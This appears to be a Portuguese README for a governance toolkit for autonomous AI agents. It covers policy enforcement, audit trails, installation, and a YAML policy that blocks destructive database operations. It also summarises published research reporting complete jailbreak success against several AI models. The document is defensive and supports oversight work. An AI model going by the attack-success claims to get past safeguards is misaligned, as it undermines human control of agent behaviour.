microsoft/agent-governance-toolkitAplicação de políticas, identidade de confiança zero, sandbox de execução e registro de auditoria para agentes autônomos de IA. Cobre 10/10 do OWASP Agentic Top 10 com governança determinística e de falha fechada.
🌍 English | Español | 日本語 | 简体中文 | 한국어
🚀 Início Rápido · 📋 Especificações · 📦 PyPI · 📝 Changelog
-brightgreen){kind=icon}
[!IMPORTANT] Public Preview -- versões de pré-visualização pública com qualidade de produção. Pode conter alterações disruptivas antes da GA.
Aplicação de políticas, identidade, sandboxing e SRE para agentes de IA autónomos. Um pip install, qualquer framework.
Os seus agentes de IA chamam ferramentas, navegam na web, consultam bases de dados e delegam a outros agentes. Uma vez implementados, tomam decisões de forma autónoma. Precisa de respostas para três perguntas:
1. Esta ação é permitida? Um agente com acesso a send_email e query_database não deve conseguir fazer drop_table. Os escopos OAuth e as funções IAM controlam quais serviços um agente pode alcançar, não o que ele faz depois de conectado.
2. Qual agente fez isto? Num sistema multi-agente, cinco agentes podem partilhar uma única chave de API. Quando algo corre mal, "um agente fez isto" não é uma resposta a incidentes.
3. Consegue provar o que aconteceu? Auditores e reguladores precisam de registos à prova de adulteração de cada decisão: qual política estava ativa, o que o agente solicitou e por que foi permitido ou negado.
A segurança ao nível do prompt ("por favor, siga as regras") não é uma superfície de controlo. É um pedido educado a um sistema estocástico. O OWASP LLM01:2025 afirma isto explicitamente: "não é claro se existem métodos infalíveis de prevenção para injeção de prompt." Os números publicados corroboram isto. Andriushchenko et al. (ICLR 2025) reportam 100% de taxa de sucesso de ataque em GPT-4o, GPT-3.5, Claude 3 e Llama-3 usando ataques adaptativos com acesso a logprob e otimização de sufixo, avaliados contra o benchmark JailbreakBench (Chao et al., NeurIPS 2024). O próprio AI Red Teaming Agent da Microsoft formaliza a Taxa de Sucesso de Ataque (ASR), a taxa de violações de política sob entrada adversária, como a métrica canónica para esta classe de falha. Lessons from Red Teaming 100 Generative AI Products reforça o ponto: "as mitigações não eliminam o risco inteiramente" e o red teaming deve ser um processo contínuo porque as defesas ao nível do modelo são probabilísticas por construção.
O AGT não tenta vencer essa luta dentro do prompt. Cada chamada de ferramenta, envio de mensagem e delegação é intercetada em código de aplicação determinístico antes de a intenção do modelo chegar à rede. As ações que o kernel do AGT nega não são "improváveis". São estruturalmente impossíveis. Essa é a diferença entre pedir a um agente para se comportar e torná-lo incapaz de se comportar mal.
Pré-requisitos: Python 3.11+```bash pip install "agent-governance-toolkit[full]"
Use o extra `[full]` para as importações de início rápido abaixo. O wheel base
`agent-governance-toolkit` instala apenas a CLI de conformidade; os módulos de
governança residem na distribuição core consolidada. A importação de início rápido
`agentmesh` continua a ser a API wrapper atual. Importar `agent_os` emite um
`DeprecationWarning` porque a antiga distribuição `agent-os-kernel` está obsoleta.
Use `agent-governance-toolkit-core` (ou o extra `[full]` que o inclui) como
a distribuição de substituição. O código host do motor de políticas usa o ACS SDK;
`agt-policies` fornece o comando de migração unidirecional v4-para-v5. O modelo de
regras pré-ACS `agent_os.policies` desapareceu, e `BREAKING_CHANGES.md` lista as suas
substituições.
Para o Claude Code, adicione o AGT como um marketplace de plugins e instale o plugin de governança:```text
/plugin marketplace add microsoft/agent-governance-toolkit
/plugin install agt-governance@agent-governance-toolkit
Governe qualquer função de ferramenta em duas linhas:```python from agentmesh.governance import govern
safe_tool = govern(my_tool, policy="policy.yaml") # every call checked, logged, enforced
A cada chamada, `safe_tool` avalia a política YAML, registra a decisão em uma trilha de auditoria e lança `GovernanceDenied` quando a política bloqueia a ação.```yaml
# policy.yaml
apiVersion: governance.toolkit/v1
name: production-policy
default_action: allow
rules:
- name: block-destructive
condition: "action.type in ['drop', 'delete', 'truncate']"
action: deny
description: "Destructive operations require human approval"
- name: require-approval-for-send
condition: "action.type == 'send_email'"
action: require_approval
approvers: ["security-team"]
O módulo config_analyzer.py é responsável por analisar arquivos de configuração em busca de configurações incorretas e credenciais expostas.
Funcionalidades Principais: